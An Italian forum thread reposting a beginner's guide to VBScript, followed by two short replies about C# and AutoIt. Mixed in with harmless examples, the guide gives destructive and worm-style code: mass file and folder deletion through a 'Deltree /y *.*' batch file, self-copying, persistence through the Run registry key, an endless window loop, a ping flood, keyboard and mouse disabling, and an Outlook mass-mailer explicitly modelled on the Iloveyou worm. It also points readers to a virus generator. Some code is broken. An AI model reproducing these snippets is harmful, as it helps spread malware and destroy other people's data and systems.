Infinito [yuotube - hacking - informatica - grafica - programmazione -netlog - contest - msn - hentay - autoit source - yuoporn]

Semplice guida Visual Basic Script, Con qialcosina sui virus in questo linguaggio...

« Older   Newer »
  Share  
metalmode
view post Posted on 8/5/2008, 17:23




Inizio col dire che non è stata scritta da me ma lo presa dal sito di www.alexmark.net ... Molto interessante per chi vuole fare qualche piccolo script e iniziare a capire la programmazione:

--------------------------------------------------------------------------------------

Partiamo con la pratica esplicativa


Siccome potreste appallarvi parlando di cos’è uno script e cos’è il visual basic, faremo subito un esempio pratico dell’utilizzo del VBS.

1) Aprite il blocco note

2) Scrivete queste righe

CODICE
MsgBox “L’utente sembra essere stupido”, 16, “Errore di Sistema”



Attenzione: se fate un bel copia-e-incolla da questi listati qui sul sito, dovrete riscrivervi le virgolette, perché qui c’è impostato un tipo di carattere diverso da quello del blocco note, non riconosciuto per scrivere gli script.

3) Salvate il file con nome “script.vbs” , assicuratevi che il file sia salvato in formato .vbs e non .txt, per controllare se è stato salvato correttamente potete vedere la sua icona, se il file è stato salvato correttamente come un .vbs.


4) Cliccate due volte sul file e… magia! Il sistema operativo ci contesta.





Ora la spiegazione del Vbs


In poche parole, il visual basic script, il basic scripting host, il vbs, il vbe o come volete chiamarlo, è un vero e proprio linguaggio di programmazione che si scrive con il blocco note.

Non è possibile creare veri e propri programmi con icone, file .exe, robe complesse (è sempre un linguaggio di scripting interpretato, cioè capace di funzionalità limitate e che non genera codice macchina ma dev'essere letto sull'istante da un terzo programma), ma è comunque possibile ad esempio creare dei virus addirittura col vbs!

Il vbs rispetta la stessa sintassi e regole del linguaggio di programmazione Visual Basic (molto più semplice e intuitivo del c++ ma molto meno potente).

Bello il vbs, no?



Scopriamo cosa può fare il vbs


A questo punto è giusto dire qualcosa riguardo a cosa si può fare con questo potente linguaggio script.

Ecco una esauriente lista di cose che possiamo far fare al vbs. Ognuna di queste righe può essere scritta nel blocco note assieme alle altre e dovrete salvare il file di testo con un nome qualsiasi ma con estensione .vbs o .vbe per far funzionare lo script.



- Messaggi di testo a video –

Forma:

MsgBox “testo”, n, “titolo”



Parametri: il testo è il testo del messaggio che verrà visualizzato, il titolo è il testo del titolo che verrà visualizzato. n è un numero che indica se il messaggio deve essere di avviso, di errore, di avvertimento o di domanda e può assumere i seguenti valori:



n Tipo di messaggio
16
64
48
vbQuestion + vbYesNo ( icona con tasti sì e no)



- Domanda all’utente –


CODICE
dim risp

risp = msgbox("Sei stupido?",vbQuestion + vbYesNo)

if risp = vbYes Then msgbox ("Hai detto di sì Imbecille!") else msgbox ("Tanto non è vero")



Se l’utente risponde Sì alla domanda “Sei stupido?” verrà visualizzato il messaggio “Hai detto di sì Imbecille”, altrimenti il messaggio “Tanto non è vero”. Al posto di vbYes è anche possibile usare vbNo per una risposta negativa.

- Cancellare un file –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

set fl = fso.GetFile(“C:\file.txt”)

fl.Delete



Il file che viene cancellato è il file di testo con nome “file” che si trova nella directory C:\

- Cancellare una intera directory –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

fso.DeleteFolder(“C:\file”)



La directory cancellata ha nome “file” e si trova in C:\

- Riproduzione dello script –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

fso.CopyFile wscript.scriptfullname, "C:\hello.vbs"



Con queste righe, il file che abbiamo creato .vbs, qualunque sia il suo nome e dovunque esso sia collocato, si copia interamente nella directory C:\ con il nome hello.vbs

- Scrivere il registro di sistema –


CODICE
set rege = CreateObject(“Wscript.shell”)

rege.regwrite “HKLM\......\Run\MyKey”, “dati”, REG_SZ



In questo modo il file .vbs scrive nella chiave di avvio del sistema Run (troncata con …… per motivi di spazio), il valore con nome “MyKey” e con dati la parola “Dati” e di tipo REG_SZ. Vediamo dunque che in modo analogo, lo script può fungere da virus partendo con il sistema ogni volta! Per scrivere una chiave, anziché un valore, è sufficiente indicare “MyKey\” al posto di “MyKey” e omettere dati e tipo di dati.

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa REG_SZ, la chiave Run, “MyKey”, ecc…. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows


- Leggere il registro di sistema –


CODICE
set rege = CreateObject(“Wscript.shell”)

str = rege.regread(“HKLM\..Run\ccApp”)



In questo modo il file .vbs legge nella chiave Run (troncata con ..), il valore “ccApp” e memorizza il testo di questa chiave nella variabile str.

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows

- Creare e scrivere file di testo –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

set tf = fso.CreateTextFile(“C:\ww.txt”, True)

tf.WriteLine(“ciao”)

tf.WriteBlanckLines(2) ‘ va a capo due volte

tf.Write (“closed”)

tf.close



Il vbs qui crea in C:\ il file con di testo con nome “ww” e ci scrive il testo “ciao”, poi va due volte a capo, poi scrive “closed” e chiude il file. Notare che il testo va a capo due volte preceduto dall’apice ‘ , è un commento che verrà ignorato dal sistema.

- Mostrare la finestra di formattazione del pc –


CODICE
set wsh = CreateObject(“Wscript.shell”)

wsh.run “rundll32.exe shell32.dll, SHFormatDrive”



Mostra la finestra dove solitamente si formatta il pc. Fa un po’ paura ..

- Ottenere informazioni sul sistema operativo –


CODICE
set wsh = CreateObject(“Wscript.shell”)

set objsysinfo = CreateObject(“SYSINFO.Sysinfo”)

wscript.echo objsysinfo.OSBuild

wscript.echo objsysinfo.OSPlataform

wscript.echo objsysinfo.OSVersion



la funzione “echo” mostra messaggi di testo, è simile a “MsgBox”.

- Spegnere o Riavviare il sistema (ottimo, lavora anche su XP Pro) –


CODICE
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from

Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet

OpSys.Reboot() 'o Shutdown()

Next



In questo caso il sistema verrà riavviato, ma se si vuole spegnere il pc, sostituire OpSys.Reboot() con OpSys.Shutdown() .

- Eseguire un programma e attendere fino alla sua fine –


CODICE
set wsh = CreateObject(“Wscript.shell”)

wsh.run “notepad” & “C:\text.txt”, 1, true

‘now waiting…

MsgBox “termina”



Il parametro “true” della funzione “run”, indica che dobbiamo attendere fino alla fine del programma per mostrare il messaggio di testo “termina”.

- Eseguire comandi da Dos –


CODICE
set wsh = CreateObject(“Wscript.shell”)

wsh.run(“ping 127.0.0.1”, 1, TRUE)



In questo caso si mostrerà una finestra Dos, che farà il ping (vedere se un pc è connesso ad internet e risponde) al nostro stesso sistema. True indica, come prima, che dobbiamo attendere la fine del programma per terminare il file .vbs.

- Fare la somma di due numeri inseriti da tastiera dall’utente –


CODICE
a = inputbox(“Primo numero”)

b = inputbox(“Secondonumero”)

c = int(a) + int(b)

MsgBox “Tot” & c



Con la funzione “inputbox” si mostra una finestrella che chiede di inserire il “primo numero”, poi una seconda che chiede il “secondo numero”, poi il programmino fa la somma e visualizza il risultato in una messagebox (msgbox)

- Attacco Ping Flood –


CODICE
On Error resume Next

set wsh = CreateObject(“Wscript.shell”)

wsh.Run “ping.exe –t –l www.google.it ”, 0, false



Inviamo pacchetti a ripetizione senza sosta ad un pc. Se tantissimi pc con connessioni potenti in upstreaml facessero questo allo stesso ip o sito, probabilmente ci sarebbero parecchi problemi. “On error resume next” indica che, se una istruzione è sbagliata o non valida, il vbs deve continuare con quella dopo e non fermarsi dando errore sullo schermo.

- Eseguire un’operazione all’infinito –


CODICE
On Error resume Next

set wsh = CreateObject(“Wscript.shell”)

Do

Wsc.Run “http://www.google.it”, 3, false

Loop



Attenti qua! Si aprono finestre di Internet Explorer all’infinito! E tutte verso www.google.it !

- Cancellare tutti i files –


CODICE
on error resume next

set fso = CreateObject("Scripting.filesystemobject")

set wsh = CreateObject(“Wscript.shell”)

set write = fso.CreateTextFile(“C:\Angry.bat”,True)

write.WriteLine “Deltree /y *.*”

write.close

wsc.run “C:\Angry.bat”,0,False



Attenti anche qua! Viene creato il file batch (.bat) con nome Angry che contiene il comando di cancellare senza preavviso tutti i files che vengono trovati e con qualsiasi estensione !

- Bloccare Mouse e Tastiera (non per Xp) –


CODICE
on error resume next

set wsc = CreateObject("Wscript.shell")

RegServ = "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices"

wsc.RegWrite RegServ & "\DisableKeyboard", "Rundll32.exe Keyboard, Disable"


‘oppure

CODICE
wsc.RegWrite RegServ & "\DisableMouse", "Rundll32.exe Mouse, Disable"



Tramite una chiave nel registro di sistema, blocca la tastiera e/o il mouse

Per chi non sapesse che cos’è il registro di sistema, come può partire un programma all’avvio del Pc e cosa significa leggere una chiave, un valore, ecc.. legga queste due importantissime sezioni :

Come partono con Windows i programmi

Il Regedit: La stanza dei bottoni di Windows

- Cancellare valori dal registro di sistema –


CODICE
on error resume next

set wsc = CreateObject("Wscript.shell")

wsc.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\DisableKeyboard"



Cancella il valore con nome “DisableKeyboard” dal registro di sistema.

- Enumerare i Drive del Pc (C:, D:, ecc..) –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

set drive = fso.Drives

for each dr in drive

str = dr & “\”

Msgbox str

Next



Enumera i drive del Pc e visualizza ognuno in un messaggio.

- Trova tutti i files nel Pc con una estensione –


CODICE
function KK(path)

set fso = CreateObject("Scripting.filesystemobject")

set var = fso.GetFolder(“C:\”)

set fil = var.Files

for each fk in fil

if fso.GetExtensionName(fk.path) = “exe” then

…qualcosa..

end if

Next

Set suber = var.SubFolders

For each sbe in suber

KK(sbe.path)

Next

End Function



Sotto forma di funzione, il …qualcosa.. indica che lì va l’istruzione per il file trovato.

- Controllare la Data –


CODICE
if day(now) = 12 and month(now) = 1 then




Se il giorno è il 12 gennaio, allora…

- Probabilità –


CODICE
Randomize

If 1 +Int(Rnd*10) = 7 then




C’è una probabilità su 7 che i puntini siano eseguiti

- Controllo se esiste un file –


CODICE
set fso = CreateObject("Scripting.filesystemobject")

if fso.fileexists(“C:\cavolo.txt”) then

..



Se il file “cavolo.txt” esiste…

- Simulare la pressione di tasti della tastiera –

Le combinazioni per i tasti si scrivono tra parentesi graffe: {tasto}

Ecco la lista:


CODICE
Backspace {BACKSPACE}, {BKSP} or {BS}

Break {BREAK}

Caps Lock {CAPSLOCK}

Delete {DELETE} or {DEL}

Down Arrow {DOWN}

End {END}

Enter {ENTER} or ~

Escape {ESC}

Help {HELP}

Home {HOME}

Insert {INSERT} or {INS}

Left Arrow {LEFT}

Num Lock {NUMLOCK}

Page Down {PGDN}

Page Up {PGUP}

Print Screen {PRTSC}

Right Arrow {RIGHT}

Scroll Lock {SCROLLLOCK}

Tab {TAB}

Up Arrow {UP}

F1 {F1}

F2 {F2}

F3 {F3}

F4 {F4}

F5 {F5}

F6 {F6}

F7 {F7}

F8 {F8}

F9 {F9}

F10 {F10}

F11 {F11}

F12 {F12}

F13 {F13}

F14 {F14}

F15 {F15}

F16 {F16}

‘combinazioni di tasti

Key Code

Alt %

Ctrl ^

Shift Lock +

‘esempio:

Ctrl+C = “^C”

Shift+F5 = "+{F5}"

Alt+A+Z = "%(AZ)"



Come simulare la pressione di tasti nel blocco note:


CODICE
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "%­windir%\notepad.exe"

WshShell.AppActivate "Notepad"

WshShell.SendKeys "Hello World!"

WshShell.SendKeys "{ENTER}"

WshShell.SendKeys "abc"

WshShell.SendKeys "{CAPSLOCK}"

WshShell.SendKeys "def"



Non vi impaurite se il blocco note scrive da solo… J

- Bloccare il file vbs per qualche tempo –


CODICE
WScript.Sleep 2000



L’intervallo è espresso in millisecondi, dunque 2000 millisecondi = 2 secondi

- Uso di % per le directory di sistema –


CODICE
WshShell.Run("%­windir%\notepad.exe", 1, True)

‘o %­sysdir%



Windir è la directory come C:\WINDOWS, mentre Sysdir è come C:\WINDOWS\system32, almeno in Xp

- Creare finestre html col vbs –

Il metodo è un po’ complicato, bisognerebbe conoscere l’Html, il linguaggio con il quale sono scritte le pagine web (ma non queste : )))


CODICE
Set objExplorer = WScript.CreateObject("InternetExplorer.Application", "IE_")

With objExplorer

'.Navigate "about:Blank"

.Navigate "about:" & strDisplayName

.Toolbar = 0

.StatusBar = 0

.Width = 800

.Height = 600

.Left = 0

.Top = 0

.Visible = 1

End With

Set objDocument = objExplorer.Document

objDocument.Open

objDocument.WriteLn "<html><head><title>Questo è un sito</title></head></body>"

objDocument.WriteLn "Qui va il testo generale"

’testo



Si crea una finestra in IExplorer composta da codice Html.

- Inviare posta con vbs (metodo worm Iloveyou e rilevabile dagli AntiVirus) –


CODICE
Set out = CreateObject("Outlook.Application")

If out = "Outlook" Then

Set mapi = out.GetNameSpace("MAPI")

Set addr = mapi.AddressLists

For Each x In addr

If x.AddressEntries.Count <> 0 Then

num = x.AddressEntries.Count

For var = 1 To num

Set mess = out.CreateItem(0)

Set varaddress = x.AddressEntries(var)

mess.To = varaddress.Address

mess.Subject = "Importante !"

mess.Body = "Devi assolutamente aiutarmi con il file allegato, per favore!"

execute "set variab = mess." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99)

& Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)

allegato = "C:\cazz.txt"

mess.DeleteAfterSubmit = True

variab.Add allegato

If mess <> "" Then

mess.Send

End If

Next

End If

Next

End If



Attenzione a come usate questo codice.

- Altro metodo per cancellare una cartella –


CODICE
dim foldersys

set foldersys=CreateObject("Scripting.FileSystemObject")

If foldersys.FolderExists ("c:\Downloads") Then

foldersys.DeleteFolder "C:\Downloads",True

End if



Qui si verifica anche se la cartella esiste

- Cancellare tutti i files in una cartella, ma lasciando la cartella intatta –


CODICE
dim filesysdelfile

Set filesysdelfile = CreateObject("Scripting.FileSystemObject")

filesysdelfile.DeleteFile "C:\Downloads\*.*",True

Set filesysdelfile = Nothing



Tutti i files nella directory C:\Downloads verranno cancellati, ma la directory resterà intatta.







I virus in vbs



E' possibile creare un virus in vbs?

Esistono programmini che creano da soli virus in vbs. L’Isf ve ne propone uno downloadabile dall’Area Download del sito: il nazgul

Naturalmente c’è da tenere presente questo:



Questo programma è da ritenersi solamente a scopo illustrativo e di studio. Qualunque danno possa derivarne da un uso improprio all’utente o ad altri, non è da imputare all’autore del programma e/o ai webmasters del sito di scaricamento libero.


A parte questo credo che il Nazgul non sia capace di nuocere ad alcunchè o ad alcuno, ma non si sa mai..

---------------------------------------------------------------------------------------

Per chi conosce autoit noterà che il linguaggio ha molte somiglianze.. Alcune di questi script nn funzionano in alcune versioni di windows tipo xp.
 
Top
Alienx89
view post Posted on 8/5/2008, 19:43




io preferisco c#

è molto simile

e bello!
 
Top
MorpheusMX
view post Posted on 1/2/2017, 12:47




Hai perfettamente ragione, AutoIT infatti deriva da linguaggi come C e C# invece deriva dal C per questo le somiglianze tra i linguaggi sono cosi evidenti! Io so queste cose perchè ho studiato programmazione su vari siti internet come imparareaprogrammare.it e adesso sono un vero programmatore informatico, devo solo fare un po di pratica con i linguaggi di programmazione particolari come AutoIT che è simile ma diverso dagli altri.

grazie per questa guida introduttiva al linguaggio è molto utile!!!
 
Top
3 replies since 8/5/2008, 17:23   8088 views
  Share